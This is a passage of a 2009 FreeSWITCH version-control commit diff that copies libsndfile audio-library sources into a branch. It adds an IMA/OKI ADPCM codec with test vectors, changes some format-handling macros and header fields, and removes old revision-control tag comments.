 	{	case SF_FORMAT_WAV :
 		case SF_FORMAT_W64 :
 				pima->encode_block = wav_w64_ima_encode_block ;
@@ -966,11 +943,3 @@
 	return total ;
 } /* ima_write_d */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 75a54b82-ad18-4758-9933-64e00a7f24e0
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/ima_oki_adpcm.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,295 @@
+/*
+** Copyright (c) 2007 <robs@users.sourceforge.net>
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This library is free software; you can redistribute it and/or modify it
+** under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or (at
+** your option) any later version.
+**
+** This library is distributed in the hope that it will be useful, but
+** WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser
+** General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this library.  If not, write to the Free Software Foundation,
+** Fifth Floor, 51 Franklin Street, Boston, MA 02111-1301, USA.
+*/
+
+/* ADPCM: IMA, OKI <==> 16-bit PCM. */
+
+#include <string.h>
+
+/* Set up for libsndfile environment: */
+#include "common.h"
+
+#include "ima_oki_adpcm.h"
+
+#define MIN_SAMPLE	-0x8000
+#define MAX_SAMPLE	0x7fff
+
+static int const ima_steps [] =	/* ~16-bit precision */
+{	7, 8, 9, 10, 11, 12, 13, 14, 16, 17, 19, 21, 23, 25, 28, 31, 34, 37, 41, 45,
+	50, 55, 60, 66, 73, 80, 88, 97, 107, 118, 130, 143, 157, 173, 190, 209, 230,
+	253, 279, 307, 337, 371, 408, 449, 494, 544, 598, 658, 724, 796, 876, 963,
+	1060, 1166, 1282, 1411, 1552, 1707, 1878, 2066, 2272, 2499, 2749, 3024, 3327,
+	3660, 4026, 4428, 4871, 5358, 5894, 6484, 7132, 7845, 8630, 9493, 10442,
+	11487, 12635, 13899, 15289, 16818, 18500, 20350, 22385, 24623, 27086, 29794,
+	32767
+} ;
+
+static int const oki_steps [] =	/* ~12-bit precision */
+{	256, 272, 304, 336, 368, 400, 448, 496, 544, 592, 656, 720, 800, 880, 960,
+	1056, 1168, 1280, 1408, 1552, 1712, 1888, 2080, 2288, 2512, 2768, 3040, 3344,
+	3680, 4048, 4464, 4912, 5392, 5936, 6528, 7184, 7904, 8704, 9568, 10528,
+	11584, 12736, 14016, 15408, 16960, 18656, 20512, 22576, 24832
+} ;
+
+static int const step_changes [] = { -1, -1, -1, -1, 2, 4, 6, 8 } ;
+
+void
+ima_oki_adpcm_init (IMA_OKI_ADPCM * state, IMA_OKI_ADPCM_TYPE type)
+{
+	memset (state, 0, sizeof (*state)) ;
+
+	if (type == IMA_OKI_ADPCM_TYPE_IMA)
+	{	state->max_step_index = ARRAY_LEN (ima_steps) - 1 ;
+		state->steps = ima_steps ;
+		state->mask = (~0) ;
+		}
+	else
+	{	state->max_step_index = ARRAY_LEN (oki_steps) - 1 ;
+		state->steps = oki_steps ;
+		state->mask = (~0) << 4 ;
+		} ;
+
+} /* ima_oki_adpcm_init */
+
+
+int
+adpcm_decode (IMA_OKI_ADPCM * state, int code)
+{	int s ;
+
+	s = ((code & 7) << 1) | 1 ;
+	s = ((state->steps [state->step_index] * s) >> 3) & state->mask ;
+
+	if (code & 8)
+    	s = -s ;
+	s += state->last_output ;
+
+	if (s < MIN_SAMPLE || s > MAX_SAMPLE)
+	{	int grace ;
+
+		grace = (state->steps [state->step_index] >> 3) & state->mask ;
+
+		if (s < MIN_SAMPLE - grace || s > MAX_SAMPLE + grace)
+			state->errors ++ ;
+
+		s = s < MIN_SAMPLE ? MIN_SAMPLE : MAX_SAMPLE ;
+		} ;
+
+	state->step_index += step_changes [code & 7] ;
+	state->step_index = SF_MIN (SF_MAX (state->step_index, 0), state->max_step_index) ;
+	state->last_output = s ;
+
+	return s ;
+} /* adpcm_decode */
+
+int
+adpcm_encode (IMA_OKI_ADPCM * state, int sample)
+{	int delta, sign = 0, code ;
+
+	delta = sample - state->last_output ;
+
+	if (delta < 0)
+	{	sign = 8 ;
+		delta = -delta ;
+		} ;
+
+	code = 4 * delta / state->steps [state->step_index] ;
+	code = sign | SF_MIN (code, 7) ;
+	adpcm_decode (state, code) ; /* Update encoder state */
+
+	return code ;
+} /* adpcm_encode */
+
+
+void
+ima_oki_adpcm_decode_block	(IMA_OKI_ADPCM * state)
+{	unsigned char code ;
+	int k ;
+
+	for (k = 0 ; k < state->code_count ; k++)
+	{	code = state->codes [k] ;
+		state->pcm [2 * k] = adpcm_decode (state, code >> 4) ;
+		state->pcm [2 * k + 1] = adpcm_decode (state, code) ;
+		} ;
+
+	state->pcm_count = 2 * k ;
+} /* ima_oki_adpcm_decode_block */
+
+
+void
+ima_oki_adpcm_encode_block (IMA_OKI_ADPCM * state)
+{	unsigned char code ;
+	int k ;
+
+	/*
+	**	The codec expects an even number of input samples.
+	**	
+	**	Samples should always be passed in even length blocks. If the last block to
+	**	be encoded is odd length, extend that block by one zero valued sample.
+	*/
+	if (state->pcm_count % 2 == 1)
+		state->pcm [state->pcm_count ++] = 0 ;
+
+	for (k = 0 ; k < state->pcm_count / 2 ; k++)
+	{	code = adpcm_encode (state, state->pcm [2 * k]) << 4 ;
+		code |= adpcm_encode (state, state->pcm [2 * k + 1]) ;
+		state->codes [k] = code ;
+		} ;
+
+	state->code_count = k ;
+} /* ima_oki_adpcm_encode_block */
+
+
+#ifdef TEST
+
+static const unsigned char test_codes [] =
+{	0x08, 0x08, 0x04, 0x7f, 0x72, 0xf7, 0x9f, 0x7c, 0xd7, 0xbc, 0x7a, 0xa7, 0xb8,
+	0x4b, 0x0b, 0x38, 0xf6, 0x9d, 0x7a, 0xd7, 0xbc, 0x7a, 0xd7, 0xa8, 0x6c, 0x81,
+	0x98, 0xe4, 0x0e, 0x7a, 0xd7, 0x9e, 0x7b, 0xc7, 0xab, 0x7a, 0x85, 0xc0, 0xb3,
+	0x8f, 0x58, 0xd7, 0xad, 0x7a, 0xd7, 0xad, 0x7a, 0x87, 0xd0, 0x2b, 0x0e, 0x48,
+	0xd7, 0xad, 0x78, 0xf7, 0xbc, 0x7a, 0xb7, 0xa8, 0x4b, 0x88, 0x18, 0xd5, 0x8d,
+	0x6a, 0xa4, 0x98, 0x08, 0x00, 0x80, 0x88,
+} ;
+
+static const short test_pcm [] =
+{	32, 0, 32, 0, 32, 320, 880, -336, 2304, 4192, -992, 10128, 5360, -16352,
+	30208, 2272, -31872, 14688, -7040, -32432, 14128, -1392, -15488, 22960,
+	1232, -1584, 21488, -240, 2576, -15360, 960, -1152, -30032, 10320, 1008,
+	-30032, 16528, 1008, -30032, 16528, -5200, -30592, 15968, 448, -30592,
+	15968, 448, -2368, 30960, 3024, -80, 8384, 704, -1616, -29168, -1232, 1872,
+	-32768, 13792, -1728, -32768, 13792, 4480, -32192, 14368, -7360, -32752,
+	13808, -1712, -21456, 16992, 1472, -1344, 26848, -1088, 2016, -17728, 208,
+	-2112, -32768, 1376, -1728, -32768, 13792, -1728, -32768, 13792, -1728,
+	-32768, 13792, -1728, -32768, 13792, -1728, -4544, 32767, -1377, 1727,
+	15823, -2113, 207, -27345, 591, -2513, -32768, 13792, -1728, -32768, 13792,
+	10688, -31632, 14928, -6800, -32192, 14368, -1152, -20896, 17552, 2032,
+	-784, 22288, 560, -2256, -4816, 2176, 64, -21120, 9920, 6816, -24224, 16128,
+	608, -13488, 9584, 272, -2544, 16, -2304, -192, 1728, -16, 1568, 128, -1184,
+} ;
+
+
+static void
+test_oki_adpcm (void)
+{
+	IMA_OKI_ADPCM adpcm ;
+	unsigned char code ;
+	int i, j ;
+
+	printf ("    Testing encoder          : ") ;
+	fflush (stdout) ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+	for (i = 0 ; i < ARRAY_LEN (test_codes) ; i++)
+		for (j = 0, code = test_codes [i] ; j < 2 ; j++, code <<= 4)
+			if (adpcm_decode (&adpcm, code >> 4) != test_pcm [2 * i + j])
+			{	printf ("\n\nFail at i = %d, j = %d.\n\n", i, j) ;
+				exit (1) ;
+				} ;
+
+	puts ("ok") ;
+
+	printf ("    Testing decoder          : ") ;
+	fflush (stdout) ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+	for (i = 0 ; i < ARRAY_LEN (test_pcm) ; i += j)
+	{	code = adpcm_encode (&adpcm, test_pcm [i]) ;
+		code = (code << 4) | adpcm_encode (&adpcm, test_pcm [i + 1]) ;
+		if (code != test_codes [i / 2])
+			{	printf ("\n\nFail at i = %d, %d should be %d\n\n", i, code, test_codes [i / 2]) ;
+				exit (1) ;
+				} ;
+		} ;
+
+	puts ("ok") ;
+} /* test_oki_adpcm */
+
+static void
+test_oki_adpcm_block (void)
+{
+	IMA_OKI_ADPCM adpcm ;
+	int k ;
+
+	if (ARRAY_LEN (adpcm.pcm) < ARRAY_LEN (test_pcm))
+	{	printf ("\n\nLine %d : ARRAY_LEN (adpcm->pcm) > ARRAY_LEN (test_pcm) (%d > %d).\n\n", __LINE__, ARRAY_LEN (adpcm.pcm), ARRAY_LEN (test_pcm)) ;
+		exit (1) ;
+		} ;
+
+	if (ARRAY_LEN (adpcm.codes) < ARRAY_LEN (test_codes))
+	{	printf ("\n\nLine %d : ARRAY_LEN (adcodes->codes) > ARRAY_LEN (test_codes).n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	printf ("    Testing block encoder    : ") ;
+	fflush (stdout) ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+
+	memcpy (adpcm.pcm, test_pcm, sizeof (adpcm.pcm [0]) * ARRAY_LEN (test_pcm)) ;
+	adpcm.pcm_count = ARRAY_LEN (test_pcm) ;
+	adpcm.code_count = 13 ;
+
+	ima_oki_adpcm_encode_block (&adpcm) ;
+
+	if (adpcm.code_count * 2 != ARRAY_LEN (test_pcm))
+	{	printf ("\n\nLine %d : %d * 2 != %d\n\n", __LINE__, adpcm.code_count * 2, ARRAY_LEN (test_pcm)) ;
+		exit (1) ;
+		} ;
+
+	for (k = 0 ; k < ARRAY_LEN (test_codes) ; k++)
+		if (adpcm.codes [k] != test_codes [k])
+		{	printf ("\n\nLine %d : Fail at k = %d, %d should be %d\n\n", __LINE__, k, adpcm.codes [k], test_codes [k]) ;
+			exit (1) ;
+			} ;
+
+	puts ("ok") ;
+
+	printf ("    Testing block decoder    : ") ;
+	fflush (stdout) ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+
+	memcpy (adpcm.codes, test_codes, sizeof (adpcm.codes [0]) * ARRAY_LEN (test_codes)) ;
+	adpcm.code_count = ARRAY_LEN (test_codes) ;
+	adpcm.pcm_count = 13 ;
+
+	ima_oki_adpcm_decode_block (&adpcm) ;
+
+	if (adpcm.pcm_count != 2 * ARRAY_LEN (test_codes))
+	{	printf ("\n\nLine %d : %d * 2 != %d\n\n", __LINE__, adpcm.pcm_count, 2 * ARRAY_LEN (test_codes)) ;
+		exit (1) ;
+		} ;
+
+	for (k = 0 ; k < ARRAY_LEN (test_pcm) ; k++)
+		if (adpcm.pcm [k] != test_pcm [k])
+		{	printf ("\n\nLine %d : Fail at i = %d, %d should be %d.\n\n", __LINE__, k, adpcm.pcm [k], test_pcm [k]) ;
+			exit (1) ;
+			} ;
+
+	puts ("ok") ;
+} /* test_oki_adpcm_block */
+
+int
+main (void)
+{
+	test_oki_adpcm () ;
+	test_oki_adpcm_block () ;
+
+	return 0 ;
+} /* main */
+
+#endif

Copied: freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.h (from rev 14471, freeswitch/trunk/libs/libsndfile/src/ima_oki_adpcm.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/ima_oki_adpcm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+/*
+** Copyright (c) 2007 <robs@users.sourceforge.net>
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This library is free software; you can redistribute it and/or modify it
+** under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or (at
+** your option) any later version.
+**
+** This library is distributed in the hope that it will be useful, but
+** WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser
+** General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this library.  If not, write to the Free Software Foundation,
+** Fifth Floor, 51 Franklin Street, Boston, MA 02111-1301, USA.
+*/
+
+/* ADPCM: IMA, OKI <==> 16-bit PCM. */
+
+
+#define		IMA_OKI_ADPCM_CODE_LEN	256
+#define		IMA_OKI_ADPCM_PCM_LEN	(IMA_OKI_ADPCM_CODE_LEN *2)
+
+typedef struct
+{
+	/* private: */
+	int mask ;
+	int last_output ;
+	int step_index ;
+	int max_step_index ;
+	int const * steps ;
+
+	/* public: */
+	int errors ;
+	int	code_count, pcm_count ;
+
+	unsigned char	codes [IMA_OKI_ADPCM_CODE_LEN] ;
+	short 			pcm [IMA_OKI_ADPCM_PCM_LEN] ;
+} IMA_OKI_ADPCM ;
+
+typedef enum
+{	IMA_OKI_ADPCM_TYPE_IMA,
+	IMA_OKI_ADPCM_TYPE_OKI
+} IMA_OKI_ADPCM_TYPE ;
+
+void ima_oki_adpcm_init		(IMA_OKI_ADPCM * state, IMA_OKI_ADPCM_TYPE type) ;
+
+int	adpcm_decode	(IMA_OKI_ADPCM * state, int /* 0..15 */ code) ;
+int	adpcm_encode	(IMA_OKI_ADPCM * state, int /* -32768..32767 */ sample) ;
+
+void	ima_oki_adpcm_decode_block	(IMA_OKI_ADPCM * state) ;
+void	ima_oki_adpcm_encode_block	(IMA_OKI_ADPCM * state) ;

Modified: freeswitch/branches/seven/libs/libsndfile/src/interleave.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/interleave.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/interleave.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -297,10 +297,4 @@
 
 	return samples_from_start ;
 } /* interleave_seek */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 82314e13-0225-4408-a2f2-e6dab3f38904
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/ircam.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ircam.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/ircam.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -85,13 +85,13 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_IRCAM)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_IRCAM)
 			return	SFE_BAD_OPEN_FORMAT ;
 
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (psf->endian == 0 || psf->endian == SF_ENDIAN_CPU)
 			psf->endian = (CPU_IS_BIG_ENDIAN) ? SF_ENDIAN_BIG : SF_ENDIAN_LITTLE ;
 
@@ -238,7 +238,7 @@
 } /* ircam_close */
 
 static int
-ircam_write_header (SF_PRIVATE *psf, int calc_length)
+ircam_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
 {	int			encoding ;
 	float		samplerate ;
 	sf_count_t	current ;
@@ -248,10 +248,8 @@
 
 	current = psf_ftell (psf) ;
 
-	calc_length = calc_length ;
-
 	/* This also sets psf->endian. */
-	encoding = get_encoding (psf->sf.format & SF_FORMAT_SUBMASK) ;
+	encoding = get_encoding (SF_CODEC (psf->sf.format)) ;
 
 	if (encoding == 0)
 		return SFE_BAD_OPEN_FORMAT ;
@@ -322,10 +320,3 @@
 	return "Unknown encoding" ;
 } /* get_encoding_str */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f2714ab8-f286-4c94-9740-edaf673a1c71
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/libsndfile-1.def (from rev 14471, freeswitch/trunk/libs/libsndfile/src/libsndfile-1.def) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/libsndfile-1.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/libsndfile-1.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+; Auto-generated by create_symbols_file.py
+
+LIBRARY libsndfile-1.dll
+EXPORTS
+
+sf_command           @1
+sf_open              @2
+sf_close             @3
+sf_seek              @4
+sf_error             @7
+sf_perror            @8
+sf_error_str         @9
+sf_error_number      @10
+sf_format_check      @11
+sf_read_raw          @16
+sf_readf_short       @17
+sf_readf_int         @18
+sf_readf_float       @19
+sf_readf_double      @20
+sf_read_short        @21
+sf_read_int          @22
+sf_read_float        @23
+sf_read_double       @24
+sf_write_raw         @32
+sf_writef_short      @33
+sf_writef_int        @34
+sf_writef_float      @35
+sf_writef_double     @36
+sf_write_short       @37
+sf_write_int         @38
+sf_write_float       @39
+sf_write_double      @40
+sf_strerror          @50
+sf_get_string        @60
+sf_set_string        @61
+sf_open_fd           @70
+sf_open_virtual      @80
+sf_write_sync        @90
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/macbinary3.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/macbinary3.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/macbinary3.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -27,32 +27,19 @@
 
 #if (OS_IS_MACOSX == 1)
 
-#include	<CoreServices.h>
-
 int
-macbinary3_open (SF_PRIVATE *psf)
+macbinary3_open (SF_PRIVATE * UNUSED (psf))
 {
-	if (psf)
-		return 0 ;
-
 	return 0 ;
 } /* macbinary3_open */
 
 #else
 
 int
-macbinary3_open (SF_PRIVATE *psf)
+macbinary3_open (SF_PRIVATE * UNUSED (psf))
 {
-	psf = psf ;
 	return 0 ;
 } /* macbinary3_open */
 
 #endif /* OS_IS_MACOSX */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: c397a7d7-1a31-4349-9684-bd29ef06211e
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/macos.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/macos.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/macos.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -29,13 +29,10 @@
 #define	STR_MARKER	MAKE_MARKER ('S', 'T', 'R', ' ')
 
 int
-macos_guess_file_type (SF_PRIVATE *psf, const char *filename)
+macos_guess_file_type (SF_PRIVATE * psf, const char *filename)
 {	static char rsrc_name [1024] ;
 	struct stat statbuf ;
-	int format ;
 
-	psf = psf ;
-
 	snprintf (rsrc_name, sizeof (rsrc_name), "%s/rsrc", filename) ;
 
 	/* If there is no resource fork, just return. */
@@ -49,15 +46,6 @@
 		return 0 ;
 		} ;
 
-	format = 0 ;
-
-	return format ;
+	return 0 ;
 } /* macos_guess_file_type */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5fbf66d7-9547-442a-9c73-92fd164f3a95
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/mat4.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/mat4.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/mat4.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -22,11 +22,11 @@
 #include	<fcntl.h>
 #include	<string.h>
 #include	<ctype.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
 #include	"common.h"
-#include	"float_cast.h"
 
 /*------------------------------------------------------------------------------
 ** Information on how to decode and encode this file was obtained in a PDF
@@ -81,16 +81,16 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_MAT4)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_MAT4)
 		return	SFE_BAD_OPEN_FORMAT ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (CPU_IS_LITTLE_ENDIAN && (psf->endian == SF_ENDIAN_CPU || psf->endian == 0))
 			psf->endian = SF_ENDIAN_LITTLE ;
 		else if (CPU_IS_BIG_ENDIAN && (psf->endian == SF_ENDIAN_CPU || psf->endian == 0))
@@ -162,7 +162,7 @@
 		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
 		} ;
 
-	encoding = mat4_format_to_encoding (psf->sf.format & SF_FORMAT_SUBMASK, psf->endian) ;
+	encoding = mat4_format_to_encoding (SF_CODEC (psf->sf.format), psf->endian) ;
 
 	if (encoding == -1)
 		return SFE_BAD_OPEN_FORMAT ;
@@ -206,7 +206,8 @@
 
 static int
 mat4_read_header (SF_PRIVATE *psf)
-{	int		marker, namesize, rows, cols, imag ;
+{	int		marker, rows, cols, imag ;
+	unsigned namesize ;
 	double	value ;
 	const char *marker_str ;
 	char	name [64] ;
@@ -243,7 +244,7 @@
 
 	psf_binheader_readf (psf, "d", &value) ;
 
-	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), " Value : %f\n", value) ;
+	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), " Value : %f\n", value) ;
 	psf_log_printf (psf, psf->u.cbuf) ;
 
 	if ((rows != 1) || (cols != 1))
@@ -275,7 +276,7 @@
 
 	if (rows == 0 && cols == 0)
 	{	psf_log_printf (psf, "*** Error : zero channel count.\n") ;
-		return SFE_MAT4_ZERO_CHANNELS ;
+		return SFE_CHANNEL_COUNT_ZERO ;
 		} ;
 
 	psf->sf.channels	= rows ;
@@ -382,13 +383,7 @@
 
 	/* This is a little unsafe but is really only for debugging. */
 	str [sizeof (str) - 1] = 0 ;
-	LSF_SNPRINTF (str, sizeof (str) - 1, "%08X", marker) ;
+	snprintf (str, sizeof (str) - 1, "%08X", marker) ;
 	return str ;
 } /* mat4_marker_to_str */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f7e5f5d6-fc39-452e-bc4a-59627116ff59
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/mat5.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/mat5.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/mat5.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -22,11 +22,11 @@
 #include	<fcntl.h>
 #include	<string.h>
 #include	<ctype.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
 #include	"common.h"
-#include	"float_cast.h"
 
 /*------------------------------------------------------------------------------
 ** Information on how to decode and encode this file was obtained in a PDF
@@ -91,16 +91,16 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_MAT5)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_MAT5)
 		return	SFE_BAD_OPEN_FORMAT ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (CPU_IS_LITTLE_ENDIAN && (psf->endian == SF_ENDIAN_CPU || psf->endian == 0))
 			psf->endian = SF_ENDIAN_LITTLE ;
 		else if (CPU_IS_BIG_ENDIAN && (psf->endian == SF_ENDIAN_CPU || psf->endian == 0))
@@ -174,7 +174,7 @@
 		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
 		} ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_U8 :
 				encoding = MAT5_TYPE_UCHAR ;
 				break ;
@@ -259,7 +259,8 @@
 mat5_read_header (SF_PRIVATE *psf)
 {	char	name [32] ;
 	short	version, endian ;
-	int		type, size, flags1, flags2, rows, cols ;
+	int		type, flags1, flags2, rows, cols ;
+	unsigned size ;
 
 	psf_binheader_readf (psf, "pb", 0, psf->u.cbuf, 124) ;
 
@@ -359,7 +360,7 @@
 				{	double	samplerate ;
 
 					psf_binheader_readf (psf, "d", &samplerate) ;
-					LSF_SNPRINTF (name, sizeof (name), "%f\n", samplerate) ;
+					snprintf (name, sizeof (name), "%f\n", samplerate) ;
 					psf_log_printf (psf, "    Val  : %s\n", name) ;
 
 					psf->sf.samplerate = lrint (samplerate) ;
@@ -448,7 +449,7 @@
 
 	if (rows == 0 && cols == 0)
 	{	psf_log_printf (psf, "*** Error : zero channel count.\n") ;
-		return SFE_MAT5_ZERO_CHANNELS ;
+		return SFE_CHANNEL_COUNT_ZERO ;
 		} ;
 
 	psf->sf.channels	= rows ;
@@ -498,10 +499,3 @@
 	return 0 ;
 } /* mat5_read_header */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: dfdb6742-b2be-4be8-b390-d0c674e8bc8e
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/mpc2k.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/mpc2k.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/mpc2k.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/mpc2k.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,207 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
